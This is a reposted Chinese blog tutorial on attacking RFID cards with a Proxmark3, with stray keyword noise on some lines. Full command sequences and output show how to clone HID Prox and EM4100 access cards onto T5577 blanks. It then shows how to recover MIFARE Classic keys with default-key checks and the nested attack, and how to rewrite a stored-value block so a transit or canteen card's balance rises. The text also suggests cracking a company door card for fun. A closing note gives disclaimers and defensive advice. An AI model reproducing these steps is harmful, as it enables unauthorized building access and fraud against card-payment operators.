智能卡破解入門二三事(轉載)

 

隨着智能設備NFC功能的普及,用RFID卡支付現金的模式也越加流行。如今的非接觸式卡片(包括但不限於社保卡、飯卡、交通卡、門禁卡等)都是使用的RFID技術。html

這麼看來射頻識別技術(RFID)是一個應用至關普遍的技術,智能卡一般會被作成小鑰匙扣、卡片以及貼紙的樣子。你能夠在不少不一樣的系統設備中看到它出現的影子,並且每每都是與取款以及門禁系統有關。我對無線技術十分感興趣,尤爲對射頻識別技術系統感興趣,因此當我研究HID iClass系統時,我就入手了一個proxmark3。android

proxmark3

Proxmark3是由Jonathan Westhues設計開發的開源硬件,其主要用途是實現RFID的嗅探、讀取以及克隆等等操做。Proxmark3主要是針對RFID而開發的工具,雖然也有一些其它的工具,但Proxmark3屬於主流工具。它能夠嗅探、模擬以及讀取多種不一樣種類型的RFID,同時它還有一個官方社區,這裏有很多一樣的愛好者在裏面學習交流。數據庫

 

 

購買Proxmark安全

在Proxmark官網上已經列出了一些供應商,你能夠在裏面選擇一個供應商進行購買。我購買了Proxmark RDV2,它雖不是開源版本,但倒是在初始版本的改進版。值得注意的是,我購買的版本更小巧,同時能夠用電池對設備供電,支持MMCX,而非USB接口。網絡

 

 

固然你也能夠在不一樣的網站購買設備,你能夠去美國網站Rysc Corp上購買,或就近在香港購買,但須要248美圓,若是Rysc Corp上購買則須要299美圓(不含運費)。而實際上我在購買Proxmark RDV2基本上也就須要212.00美圓,美國運送費用爲36.30美圓(隨運送距離不一樣費用也會越高),合計爲248.30美圓。工具

若是你仔細研究會發現,經過AliExpress網站購買,能夠省下一大筆錢,花費在190美圓(包郵),就性價比來講,甚至比「Proxmark 3 Easy」更便宜。post

 

 

PM3 Easy是Proxmark系列中相對較便宜的版本,售價約爲100美圓,但卻閹割了一些功能,這個版本僅針對中國國內市場的版本,所以刪除了一些功能,刪掉的功能以下:性能

AT91SAM7S256(內存256kb)學習

移除鋰電池管理和插座模塊測試

閹割了一些電子元器件,如繼電器和信號放大器

可以使用不一樣的天線鏈接功能

 

想了解更多相關內容能夠訪問Proxmark官方論壇

總的來講,Proxmark 3的原始版本設計已通過時,你應該使用新版本的硬件設計。

Proxmark 3配置

在硬件方面,根據你具體使用Proxmark 3(如下簡稱PM3)型號的不一樣,配置方式也大不相同。原始版本PM3外接USB天線,你能夠隨意插拔,但在RDV2上就不能這樣操做,首先你必需要鏈接MMCX,以後纔可使用RDV2,就至關於你須要將這一塊加入主體,即將天線模塊安裝進主板中。我沒有這樣作,而是用膠將MMCX以及天線粘黏到板子上。

完成上部分操做以後,你就能夠按照PM3說明文檔進行配置固件,據我瞭解可知,Proxmarks很它使用相同的固件,所以在軟件配置及操做上不會有太大區別。

我下面的配置並無涉及完整的軟件配置,我作到的也僅僅是說明中的一部分。在某些時候,出於性能上的考慮,PM3會將USB接口轉化爲串行接口,同時使用串行接口能夠解決在虛擬機中運行問題。

若是你決定在虛擬機進行操做,那麼在Linux會上運行會比Windows更好一些,這一點上我不會作出太多說明,但我在後面文章中使用PM3用戶界面時,明顯效果更好一些。我在虛擬機中安裝Windows 7,或可將GUI(Linux)做爲PM3用戶界面。總的來講,燒寫PM3固件多是一個煩人的過程,但你真的須要作那麼一兩次。

RFID技術

在美國有許多常見的RFID認證技術,我下面列舉在平常生活參見的四個:

HID iClass(13.56 MHz)

HID Prox 卡(125 kHz)

EM4100x卡(125 kHz)

MIFARE Classic(13.56 MHz)

我將詳述最後三部分,同時我在下文也會介紹如何讀/寫iClass卡。

 

對於一些不清楚的RFID 電子標籤以及RFID卡,咱們將嘗試克隆/修改每一個標籤的內容。首先咱們須要弄清楚每張卡片背後的技術是什麼。 通常來講,您能夠蒐集序列號,製造商信息和數據表單信息,而後經過網絡查詢研究這些信息。PM3能夠可使用指令 lf search、hf search查詢,這兩個命令將分別在低頻(125 kHz)和高頻(13.56 MHz)範圍內搜索可用電子標籤。

HID ProxCard

咱們來看看更受歡迎的HID ProxCard

 

 

在卡的正面有一些數字以及單詞(HID Proximity),若是你去網上搜索,你能夠發現這是一張HID Prox 卡,能夠經過Proxmark指令克隆一張卡。

咱們可使用lf search指令搜索前文提到的電子標籤

proxmark3> lf search

 

#db# DownloadFPGA(len: 42096)

 

Reading 30000 bytes from device memory

 

Data fetched

 

Samples @ 8 bits/smpl, decimation 1:1

 

NOTE: some demods output possible binary

 

if it finds something that looks like a tag

 

False Positives ARE possible

 

Checking for known tags:

 

HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132

 

Valid HID Prox ID Found!

 

咱們很清楚這是一張Prox 卡,若是須要將當前卡系統從 HID Prox 升級到 HID iCLASS 憑證,就須要特殊指令,咱們如今已經知道標籤ID(2004263f88),但我能夠輸入lf hid fskdemod指令讀取智能卡(按下PM3上的按鈕中止掃描)

proxmark3> lf hid fskdemod

 

#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132

 

#db# Stopped

 

該ID標籤(19)以及卡ID(8132)的編碼,你能夠在線使用韋根協議(26位)計算器檢查一下。這就意味着你須要瞭解數據並克隆到卡上(寫入到卡自己)。

大多數低頻電子標籤沒有任何複雜的認證方案或任何防止重放攻擊的保護,因此掃描現有的智能卡,並克隆一張,並非一件難事。使用高功率讀卡器,能夠在距離較遠的位置竊取RFID電子標籤。

我如今已經知道標籤ID,如今須要一張空白的RFID卡,咱們能夠克隆標籤ID。最好是t5577卡,它能夠複製多種低頻智能卡,包括這裏討論的兩個(HID Prox 卡,EM41000卡)。

 

 

我已經瞭解到標籤ID,那麼就能夠很輕鬆的克隆一張卡

proxmark3> lf hid clone 2004263f88

 

Cloning tag with ID 2004263f88

 

#db# DONE!

 

如今T5577卡電子標籤應該與被克隆卡標籤一致,成功了!!

除了讀寫操做以外,PM3還可以模擬RFID電子標籤,但可能沒有你想象的那麼直觀,你須要將計算機鏈接到PM3上,並執行一些指令,這對滲透測試者有幫助,但讀寫操做適用於絕大多數使用者。

EM4100

EM4100卡不像HID Prox 卡那樣常見,但不表明它不會出現,PM3功能一樣適用於它。

 

 

咱們繼續使用lf搜索命令

proxmark3> lf search

 

#db# DownloadFPGA(len: 42096)

 

Reading 30000 bytes from device memory

 

Data fetched

 

Samples @ 8 bits/smpl, decimation 1:1

 

NOTE: some demods output possible binary

 

if it finds something that looks like a tag

 

False Positives ARE possible

 

Checking for known tags:

 

EM410x pattern found:

 

EM TAG ID : 8800180E55

 

Unique TAG ID : 11001870AA

 

Possible de-scramble patterns

 

HoneyWell IdentKey {

 

DEZ 8 : 01576533

 

DEZ 10 : 0001576533

 

DEZ 5.5 : 00024.03669

 

DEZ 3.5A : 136.03669

 

DEZ 3.5B : 000.03669

 

DEZ 3.5C : 024.03669

 

DEZ 14/IK2 : 00584117128789

 

DEZ 15/IK3 : 000073016045738

 

DEZ 20/ZK : 01010000010807001010

 

}

 

Other : 03669_024_01576533

 

Pattern Paxton : 2284604501 [0x882C4C55]

 

Pattern 1 : 4457436 [0x4403DC]

 

Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55]

 

Valid EM410x ID Found!

 

這是一張EM4100卡,我可使用更多的EM4100 RFID指令,讀取標籤ID

proxmark3> lf em4x em410xdemod 1

 

#db# DownloadFPGA(len: 42096)

 

#db# EM TAG ID: 8800180e55 - (03669_024_01576533)

 

獲取標籤ID以後,寫入到一張T5577卡中

proxmark3> lf em4x em410xwrite 8800180e55 1

 

Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)

 

#db# Started writing T55x7 tag ...

 

#db# Clock rate: 64

 

#db# Tag T55x7 written with 0xffc62000e20ea94e

 

大多數低頻RFID電子標籤破解適用於剛入門的新手,你僅須要瞭解讀/寫/克隆/仿真的玩法。

接下來,咱們將看看一張更復雜但最終被破解的智能卡,MIFARE Classic協議的NFC卡(如下簡稱MIFARE卡)。

MIFARE Classic

NFCA協議是兼容MifareClassic 協議的, 咱們能夠經過NfcA在android的相關類來處理給予MifareClassic 的RFID卡。MIFARE 卡應用很普遍,它應用的領域也大不相同,如公交卡、乾洗店洗衣卡、身份證,很不幸的一點就是,這樣的卡也會被破解。

通常來講,給予MifareClassic的射頻卡,通常內存大小有3種:

1K: 16個分區(sector),每一個分區4個塊(block),每一個塊(block) 16個byte數據

2K: 32個分區,每一個分區4個塊(block),每一個塊(block) 16個byte數據

4K:64個分區,每一個分區4個塊(block),每一個塊(block) 16個byte數據

對於全部基於MifareClassic的卡來講,每一個區最後一個塊叫Trailer,16個byte, 主要來存放讀寫該區的key,能夠有A,B兩個KEY,每一個key長6byte,默認的key通常是FF 或 0,最後一個塊的內存結構以下:

Block 0 Data 16bytes

Block 1 Data 16 bytes

Block 2 Data 16 bytes

Block 3 Trailer 16 bytes

Trailer:

Key A: 6 bytes

Access Conditions: 4 bytes

Key B: 6 bytes

因此在寫卡的內存的時候,通常不能寫每一個sector的最後一個block,除非你有要修改KEY和訪問權限的需求。若是KEY A 被你不當心修改掉了,而你不知道修改爲什麼,那與之對應的那個sector你就沒有辦法訪問了。由於在MifareClassic中,若是你要讀取數據,那麼必需要有這個數據地址所在的sector的權限,這個權限就是這個sector的trailer的keyA或KEY B。下面咱們將使用高頻天線來讀取高頻MIFARE卡。

 

 

我開始使用hf指令搜索並識別MIFARE卡

 

 

proxmark3> hf search

#db# DownloadFPGA(len: 42096)

UID : bc 4e a5 35

ATQA : 00 04

SAK : 08 [2]

TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1

proprietary non iso14443-4 card found, RATS not supported

Answers to chinese magic backdoor commands: NO

Valid ISO14443A Tag Found - Quitting Search

 

不幸的是,MIFARE卡不像以前的低頻卡克隆那樣容易,它利用簡單的認證方式,阻止咱們克隆UID。雖然咱們能夠從卡中讀取某些塊,可是因爲「認證錯誤」,其它塊並不可用:

成功讀取

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF

--block no:0, key type:A, key:ff ff ff ff ff ff

#db# READ BLOCK FINISHED

isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00

失敗讀取

proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF

--block no:5, key type:A, key:ff ff ff ff ff ff

#db# Authentication failed. Card timeout.

#db# Auth error

#db# READ BLOCK FINISHED

isOk:00

 

起初發現這個問題,我以爲很奇怪,但很快發現前文提到的key,這是我在網上找到的資料。MIFARE Classic 1K射頻卡有1024字節可儲存數據,同時分爲分爲16個扇區,每一個扇區由兩個不一樣的key保護(前文說明的A,B),出於某種緣由,一些MIFARE卡僅使用默認key,這樣就形成能夠利用應用程序測試key,並針對卡進行測試。

PM3具備「測試key(塊)」指令,它將測試咱們的默認key。

proxmark3> hf mf chk * ?

No key specified, trying default keys

chk default key[ 0] ffffffffffff

chk default key[ 1] 000000000000

chk default key[ 2] a0a1a2a3a4a5

chk default key[ 3] b0b1b2b3b4b5

chk default key[ 4] aabbccddeeff

chk default key[ 5] 4d3a99c351dd

chk default key[ 6] 1a982c7e459a

chk default key[ 7] d3f7d3f7d3f7

chk default key[ 8] 714c5c886e97

chk default key[ 9] 587ee5f9350f

chk default key[10] a0478cc39091

chk default key[11] 533cb6c723f6

chk default key[12] 8fd0a4f256e9

--sector: 0, block: 3, key type:A, key count:13

Found valid key:[ffffffffffff]

...omitted for brevity...

--sector:15, block: 63, key type:B, key count:13

Found valid key:[ffffffffffff]

 

我可使用默認key(ffffffffffff)讀取大多數塊,但有些沒有包含在內。我可使用「Nested攻擊」,咱們可使用咱們的一個可用的key來識別其它塊的key。

proxmark3> hf mf nested 1 0 A ffffffffffff d

Testing known keys. Sector count=16

nested...

-----------------------------------------------

uid:bc4ea535 trgbl=4 trgkey=0

Found valid key:080808080808

-----------------------------------------------

uid:bc4ea535 trgbl=8 trgkey=0

Found valid key:080808080808

Time in nested: 7.832 (3.916 sec per key)

-----------------------------------------------

Iterations count: 2

|---|----------------|---|----------------|---|

|sec|key A |res|key B |res|

|---|----------------|---|----------------|---|

|000| ffffffffffff | 1 | ffffffffffff | 1 |

|001| 080808080808 | 1 | ffffffffffff | 1 |

|002| 080808080808 | 1 | ffffffffffff | 1 |

|003| ffffffffffff | 1 | ffffffffffff | 1 |

|004| ffffffffffff | 1 | ffffffffffff | 1 |

|005| ffffffffffff | 1 | ffffffffffff | 1 |

|006| ffffffffffff | 1 | ffffffffffff | 1 |

|007| ffffffffffff | 1 | ffffffffffff | 1 |

|008| ffffffffffff | 1 | ffffffffffff | 1 |

|009| ffffffffffff | 1 | ffffffffffff | 1 |

|010| ffffffffffff | 1 | ffffffffffff | 1 |

|011| ffffffffffff | 1 | ffffffffffff | 1 |

|012| ffffffffffff | 1 | ffffffffffff | 1 |

|013| ffffffffffff | 1 | ffffffffffff | 1 |

|014| ffffffffffff | 1 | ffffffffffff | 1 |

|015| ffffffffffff | 1 | ffffffffffff | 1 |

|---|----------------|---|----------------|---|

 

Printing keys to binary file dumpkeys.bin...

 

注意:在早期Nested 攻擊命令中,輸入d(參數)將key轉儲到dumpkeys.bin文件,纔可以保證繼續使用 MIFARE卡其它指令。如今咱們有一個新key,080808080808。該key容許咱們讀取隱藏塊。

proxmark3> hf mf rdbl 5 A 080808080808

--block no:5, key type:A, key:08 08 08 08 08 08

#db# READ BLOCK FINISHED

isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa

 

dumpkeys.bin文件已經準備好,咱們能夠轉儲整個卡的數據,並將其寫入到空白的MIFARE卡上。

proxmark3> hf mf dump 1

|-----------------------------------------|

|------ Reading sector access bits...-----|

|-----------------------------------------|

#db# READ BLOCK FINISHED

...omitted for brevity...

#db# READ BLOCK FINISHED

|-----------------------------------------|

|----- Dumping all blocks to file... -----|

|-----------------------------------------|

#db# READ BLOCK FINISHED

Successfully read block 0 of sector 0.

...omitted for brevity...

Successfully read block 3 of sector 15.

Dumped 64 blocks (1024 bytes) to file dumpdata.bin

 

藉助dumpdata.bin文件,咱們能夠將此卡的內容還原到另外一張卡上,輸入命令:hf mf restore 1,然而,克隆一張MIFARE卡效率仍是很低(totem pole),使用新key,我就能夠讀寫一張空白卡,這種卡一般被做爲車票卡,一些人可能會想到是否能夠修改裏面的金額。先來看看卡中部分轉存數據

bc4e a535 6288 0400 8500 b42e f0bb 6aa8

 

0000 0000 0000 0000 0000 0000 0000 0000

 

0000 0000 0000 0000 0000 0000 0000 0000

 

ffff ffff ffff ff07 8069 ffff ffff ffff

 

4f54 4f54 0050 0082 0136 000b 0000 0000

 

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

 

0000 0000 0101 0000 0000 0001 0100 0000

 

獲得的數據不能解析,再次重複以上步驟,而後查看數據

bc4e a535 6288 0400 8500 b42e f0bb 6aa8

 

0000 0000 0000 0000 0000 0000 0000 0000

 

0000 0000 0000 0000 0000 0000 0000 0000

 

ffff ffff ffff ff07 8069 ffff ffff ffff

 

4f54 4f54 0050 0082 0136 000b 0000 0000

 

3205 0000 cdfa ffff 3205 0000 05fa 05fa

 

0000 0000 0101 0000 0000 0001 0100 0000

 

其中一行數據由

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

變爲

3205 0000 cdfa ffff 3205 0000 05fa 05fa

當時雖然沒有馬上看明白這行數據意思,但已經明白卡上確定存在一個能夠變化的數值,最簡單的一個假設是,卡正在存儲金額,而後扣去交易額。咱們的起始價值(7.75),一個項目的開支成本(2.25)和差值(5.50)。

咱們能夠將這些數據轉爲16進制,爲了簡化搜索,咱們只需75,將其轉換爲十六進制(0x4b),而後搜索第一個轉儲數據值:

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

這樣我就發現了卡存儲金額的部分了,特別是考慮到如下字節0×07。所以,咱們應該可以經過修改這些字節來增長咱們卡的金額。

你能夠不須要理解字節的詳細含義,它們並不重複,在前面兩次轉儲數據,能夠看出沒有什麼規律,這一點上須要當心謹慎,用ffff(前文)替換咱們的金額數值,僅須要從新將獲取的數據寫入智能卡中。

注意:有人指出其中兩個數值b4f8和4b07加起來是ffff,其實這是校驗和的數值,讀卡者能夠利用這個來確認卡的金額是否在交易完成後更新。

我已經將卡中數值更改到17.50,咱們能夠採起新的轉儲數據並保存第5塊的結果(存儲值)。

Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8

 

Block 1: 0000 0000 0000 0000 0000 0000 0000 0000

 

Block 2: 0000 0000 0000 0000 0000 0000 0000 0000

 

Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff

 

Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000

 

Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa

 

Block 6: 0000 0000 0101 0000 0000 0001 0100 0000

 

如今咱們能夠無限制將卡中數值更改到17.50。

寫入(塊)

proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa

 

--block no:5, key type:A, key:08 08 08 08 08 08

 

--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa

 

#db# WRITE BLOCK FINISHED

 

isOk:01

 

讀出(塊)

proxmark3> hf mf rdbl 5 A 080808080808

 

--block no:5, key type:A, key:08 08 08 08 08 08

 

#db# READ BLOCK FINISHED

 

isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa

 

即便沒有使用默認key,咱們也能夠嗅探真實的讀卡器和卡之間的通訊協議,並獲取關鍵key。只要咱們知道一個現有的key,咱們就能夠利用前文提到的nested攻擊識別其它key來獲取對該卡的讀/寫訪問。

結論

經過從事多年RFID卡系統的安全研究,我得出一個結論,Proxmark 3能夠說是研究RFID卡系統的最佳工具,並在研究過程當中能夠學習到不少相關知識。若是你有興趣克隆RFID卡並瞭解這些系統的工做原理,我很是建議您選擇ProxMark 3和T5577卡。固然你也能夠將公司的門禁卡破解以後作成一把屬於本身的小鑰匙,這件事看起來也是比較有趣的。

*參考來源:kchung,飯糰君編譯,轉載自FreeBuf.COM

 

讀後感

一、本文內容僅供學習研究使用,請遵照當地法律法規。

二、使用mf1卡的商戶不須要驚慌,在一些小額支付場所,mf1卡性價比仍是很高的。同時,mf1卡的破解是須要成本的,本文的設備購買大概1000多人民幣,並且不肯定能正常破解。

三、根據上文的說明,建議正式使用時,將全部扇區加密,這樣就沒法使用nested攻擊破解了。

四、能夠優先考慮數據庫存餘額的方式,卡只是一個身份標識。聯網交易時驗證卡惟一號,這樣在必定程度上提升了安全性。

五、若是對交易要求比較高,建議使用CPU卡,但相應成本也會增長几十倍。

相關文章
相關標籤/搜索